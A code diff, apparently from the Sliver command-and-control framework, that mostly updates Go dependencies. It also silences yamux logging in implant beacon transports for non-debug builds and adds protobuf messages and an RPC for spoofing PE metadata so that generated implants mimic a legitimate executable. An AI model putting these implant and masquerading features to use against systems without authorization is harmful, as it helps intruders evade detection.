github.com/sliverarmory/wasm-donut v0.0.5
github.com/sliverarmory/beignet v0.0.3
github.com/sliverarmory/malasada v0.0.3
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
github.com/stretchr/testify v1.11.1
@@ -122,6 +124,10 @@ require (
github.com/caarlos0/go-reddit/v3 v3.0.1 // indirect
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
github.com/charmbracelet/x/termios v0.1.1 // indirect
github.com/charmbracelet/x/windows v0.2.2 // indirect
github.com/clipperhouse/displaywidth v0.11.0 // indirect
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
github.com/creachadair/msync v0.7.1 // indirect
github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb // indirect
@@ -131,6 +137,7 @@ require (
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 // indirect
github.com/envoyproxy/go-control-plane/envoy v1.36.0 // indirect
github.com/envoyproxy/protoc-gen-validate v1.3.0 // indirect
github.com/fatih/color v1.18.0 // indirect
github.com/fatih/structs v1.1.0 // indirect
github.com/felixge/httpsnoop v1.0.4 // indirect
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
@@ -204,6 +211,8 @@ require (
)
require (
charm.land/bubbles/v2 v2.0.0
charm.land/bubbletea/v2 v2.0.0
cloud.google.com/go/compute/metadata v0.9.0 // indirect
filippo.io/edwards25519 v1.1.0 // indirect
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
@@ -222,15 +231,13 @@ require (
github.com/carapace-sh/carapace v1.11.0
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/colorprofile v0.4.2 // indirect
github.com/charmbracelet/x/ansi v0.11.6
github.com/charmbracelet/x/cellbuf v0.0.15 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
github.com/charmbracelet/x/term v0.2.2 // indirect
github.com/chromedp/sysutil v1.1.0 // indirect
github.com/clipperhouse/uax29/v2 v2.2.0 // indirect
github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
github.com/coder/websocket v1.8.14 // indirect
github.com/coreos/go-iptables v0.8.0 // indirect
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
@@ -266,13 +273,13 @@ require (
github.com/jinzhu/now v1.1.5 // indirect
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mark3labs/mcp-go v0.43.2
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-localereader v0.0.1 // indirect
github.com/mattn/go-runewidth v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.20 // indirect
github.com/mdlayher/netlink v1.8.0 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
+34 -24
View File
@@ -4,6 +4,12 @@ c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAw
c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd/go.mod h1:SrHC2C7r5GkDk8R+NFVzYy/sdj0Ypg9htaPXQq5Cqeo=
cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4=
cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4=
charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s=
charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI=
charm.land/bubbletea/v2 v2.0.0 h1:p0d6CtWyJXJ9GfzMpUUqbP/XUUhhlk06+vCKWmox1wQ=
charm.land/bubbletea/v2 v2.0.0/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ=
charm.land/lipgloss/v2 v2.0.0 h1:sd8N/B3x892oiOjFfBQdXBQp3cAkvjGaU5TvVZC3ivo=
charm.land/lipgloss/v2 v2.0.0/go.mod h1:w6SnmsBFBmEFBodiEDurGS/sdUY/u1+v72DqUzc6J14=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
@@ -144,8 +150,8 @@ github.com/aws/smithy-go v1.24.0 h1:LpilSUItNPFr1eY85RYgTIg5eIEPtvFbskaFcmmIUnk=
github.com/aws/smithy-go v1.24.0/go.mod h1:LEj2LM3rBRQJxPZTB4KuzZkaZYnZPnvgIhb4pu07mx0=
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
github.com/aymanbagabas/go-udiff v0.4.0 h1:TKnLPh7IbnizJIBKFWa9mKayRUBQ9Kh1BPCk6w2PnYM=
github.com/aymanbagabas/go-udiff v0.4.0/go.mod h1:0L9PGwj20lrtmEMeyw4WKJ/TMyDtvAoK9bf2u/mNo3w=
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
@@ -176,30 +182,36 @@ github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 h1:JFgG/x
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7/go.mod h1:ISC1gtLcVilLOf23wvTfoQuYbW2q0JevFxPfUzZ9Ybw=
github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw=
github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY=
github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8=
github.com/charmbracelet/huh v0.8.0 h1:Xz/Pm2h64cXQZn/Jvele4J3r7DDiqFCNIVteYukxDvY=
github.com/charmbracelet/huh v0.8.0/go.mod h1:5YVc+SlZ1IhQALxRPpkGwwEKftN/+OlJlnJYlDRFqN4=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3 h1:KUeWGoKnmyrLaDIa0smE6pK5eFMZWNIxPGweQR12iLg=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3/go.mod h1:OMqKat/mm9a/qOnpuNOPyYO9bPzRNnmzLnRZT5KYltg=
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8=
github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ=
github.com/charmbracelet/x/cellbuf v0.0.13 h1:/KBBKHuVRbq1lYx5BzEHBAFBP8VcQzJejZ/IA3iR28k=
github.com/charmbracelet/x/cellbuf v0.0.13/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
github.com/charmbracelet/x/cellbuf v0.0.15 h1:ur3pZy0o6z/R7EylET877CBxaiE1Sp1GMxoFPAIztPI=
github.com/charmbracelet/x/cellbuf v0.0.15/go.mod h1:J1YVbR7MUuEGIFPCaaZ96KDl5NoS0DAWkskup+mOY+Q=
github.com/charmbracelet/x/conpty v0.1.0 h1:4zc8KaIcbiL4mghEON8D72agYtSeIgq8FSThSPQIb+U=
github.com/charmbracelet/x/conpty v0.1.0/go.mod h1:rMFsDJoDwVmiYM10aD4bH2XiRgwI7NYJtQgl5yskjEQ=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86/go.mod h1:2P0UgXMEa6TsToMSuFqKFQR+fZTO9CNGUNokkPatT/0=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91 h1:payRxjMjKgx2PaCWLZ4p3ro9y97+TVLZNaRZgJwSVDQ=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91/go.mod h1:wDlXFlCrmJ8J+swcL/MnGUuYnqgQdW9rhSD61oNMb6U=
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f h1:pk6gmGpCE7F3FcjaOEKYriCvpmIN4+6OS/RD0vm4uIA=
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f/go.mod h1:IfZAMTHB6XkZSeXUqriemErjAWCCzT0LwjKFYCZyw0I=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM=
github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k=
github.com/charmbracelet/x/xpty v0.1.2 h1:Pqmu4TEJ8KeA9uSkISKMU3f+C1F6OGBn8ABuGlqCbtI=
github.com/charmbracelet/x/xpty v0.1.2/go.mod h1:XK2Z0id5rtLWcpeNiMYBccNNBrP2IJnzHI0Lq13Xzq4=
github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI=
@@ -216,8 +228,10 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMn
github.com/cilium/ebpf v0.15.0 h1:7NxJhNiBT3NG8pZJ3c+yfrVdHY8ScgKD27sScgjLMMk=
github.com/cilium/ebpf v0.15.0/go.mod h1:DHp1WyrLeiBh19Cf/tfiSMhqheEiK8fXFZ4No0P1Hso=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/clipperhouse/uax29/v2 v2.2.0 h1:ChwIKnQN3kcZteTXMgb1wztSgaU+ZemkgWdohwgs8tY=
github.com/clipperhouse/uax29/v2 v2.2.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8=
github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0=
github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk=
github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
@@ -506,8 +520,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
@@ -530,8 +544,8 @@ github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw=
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ=
github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
@@ -663,14 +677,12 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0=
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sliverarmory/wasm-donut v0.0.5 h1:QWnkVy1mTgkmVg0bvJ8X9xqGGX2YI0pbpqt5uA3qw84=
github.com/sliverarmory/wasm-donut v0.0.5/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
@@ -926,8 +938,6 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
+2 -6
View File
@@ -278,9 +278,7 @@ func TestProvider_ParseEnvProxy(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
@@ -325,9 +323,7 @@ func TestProvider_ConfigProviderParseEnvURL(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
+1 -3
View File
@@ -116,9 +116,7 @@ func TestNewProxy(t *testing.T) {
if tt.expectErr == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectErr.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
}
})
}
+22
View File
@@ -0,0 +1,22 @@
package proxy
import (
"strings"
"testing"
"github.com/stretchr/testify/assert"
)
func assertErrEqualIgnoreQuotes(t *testing.T, expected error, actual error) {
t.Helper()
if expected == nil {
assert.NoError(t, actual)
return
}
if assert.Error(t, actual) {
expectedMsg := strings.ReplaceAll(expected.Error(), "\"", "")
actualMsg := strings.ReplaceAll(actual.Error(), "\"", "")
assert.Equal(t, expectedMsg, actualMsg)
}
}
+2 -6
View File
@@ -67,9 +67,7 @@ func TestParseURL(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
@@ -191,9 +189,7 @@ func TestSplitHostPort(t *testing.T) {
if tt.expectErr == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectErr.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
}
})
}
+21 -2
View File
@@ -21,6 +21,8 @@ package transports
// {{if .Config.IsBeacon}}
import (
"io"
// {{if .Config.Debug}}
"log"
@@ -70,6 +72,7 @@ import (
var (
_ url.URL
_ io.Writer
)
type BeaconInit func() error
@@ -216,7 +219,15 @@ func mtlsBeacon(uri *url.URL) *Beacon {
_ = conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
_ = conn.Close()
return err
@@ -318,7 +329,15 @@ func wgBeacon(uri *url.URL) *Beacon {
_ = dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
_ = conn.Close()
_ = dev.Down()
+18 -2
View File
@@ -268,7 +268,15 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
conn.Close()
return err
@@ -484,7 +492,15 @@ func wgConnect(uri *url.URL) (*Connection, error) {
dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
cfg := yamux.DefaultConfig()
// {{if .Config.Debug}}
cfg.Logger = log.Default()
cfg.LogOutput = nil
// {{else}}
cfg.Logger = nil
cfg.LogOutput = io.Discard
// {{end}}
muxSession, err = yamux.Client(conn, cfg)
if err != nil {
conn.Close()
dev.Down()
File diff suppressed because it is too large. Load diff
+78 -1
View File
@@ -215,10 +215,75 @@ message ImplantConfig {
bool TrafficEncodersEnabled = 152;
repeated string TrafficEncoders = 153;
string Extension = 154;
reserved 155;
reserved "SpoofData";
repeated commonpb.File Assets = 200;
}
message SpoofMetadataFile {
string Name = 1;
bytes Data = 2;
}
message IMAGE_RESOURCE_DIRECTORY {
uint32 Characteristics = 1;
uint32 TimeDateStamp = 2;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MajorVersion = 3;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MinorVersion = 4;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 NumberOfNamedEntries = 5;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 NumberOfIdEntries = 6;
}
message IMAGE_RESOURCE_DIRECTORY_ENTRY {
uint32 Name = 1;
uint32 OffsetToData = 2;
}
message IMAGE_RESOURCE_DATA_ENTRY {
uint32 OffsetToData = 1;
uint32 Size = 2;
uint32 CodePage = 3;
uint32 Reserved = 4;
}
message IMAGE_EXPORT_DIRECTORY {
uint32 Characteristics = 1;
uint32 TimeDateStamp = 2;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MajorVersion = 3;
// uint16 in PE headers; encoded as uint32 for protobuf transport.
uint32 MinorVersion = 4;
uint32 Name = 5;
uint32 Base = 6;
uint32 NumberOfFunctions = 7;
uint32 NumberOfNames = 8;
uint32 AddressOfFunctions = 9;
uint32 AddressOfNames = 10;
uint32 AddressOfNameOrdinals = 11;
}
message PESpoofMetadataConfig {
// Reference PE used to clone metadata/resources/timestamps.
SpoofMetadataFile Source = 1;
// Reserved for future standalone icon mutation support.
SpoofMetadataFile Icon = 2;
IMAGE_RESOURCE_DIRECTORY ResourceDirectory = 10;
repeated IMAGE_RESOURCE_DIRECTORY_ENTRY ResourceDirectoryEntries = 11;
repeated IMAGE_RESOURCE_DATA_ENTRY ResourceDataEntries = 12;
IMAGE_EXPORT_DIRECTORY ExportDirectory = 13;
}
message SpoofMetadataConfig {
// Keep executable formats separated so additional formats can be added later
// without changing request semantics.
PESpoofMetadataConfig PE = 1;
}
message TrafficEncoder {
uint64 ID = 1;
commonpb.File Wasm = 2;
@@ -484,7 +549,19 @@ message GenerateStageReq {
string Compress = 8;
}
message Generate { commonpb.File File = 1; }
message Generate {
commonpb.File File = 1;
string ImplantName = 2;
string ImplantBuildID = 3;
}
message GenerateSpoofMetadataReq {
string ImplantBuildID = 1;
string ImplantName = 2;
uint64 ResourceID = 3;
SpoofMetadataConfig SpoofMetadata = 10;
}
message MSFReq {
string Payload = 1;
+1086 -1078
View File
File diff suppressed because it is too large. Load diff
+2
View File
@@ -85,6 +85,8 @@ service SliverRPC {
// *** Implants ***
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
rpc GenerateSpoofMetadata(clientpb.GenerateSpoofMetadataReq)
returns (commonpb.Empty);
rpc GenerateExternal(clientpb.ExternalGenerateReq)
returns (clientpb.ExternalImplantConfig);
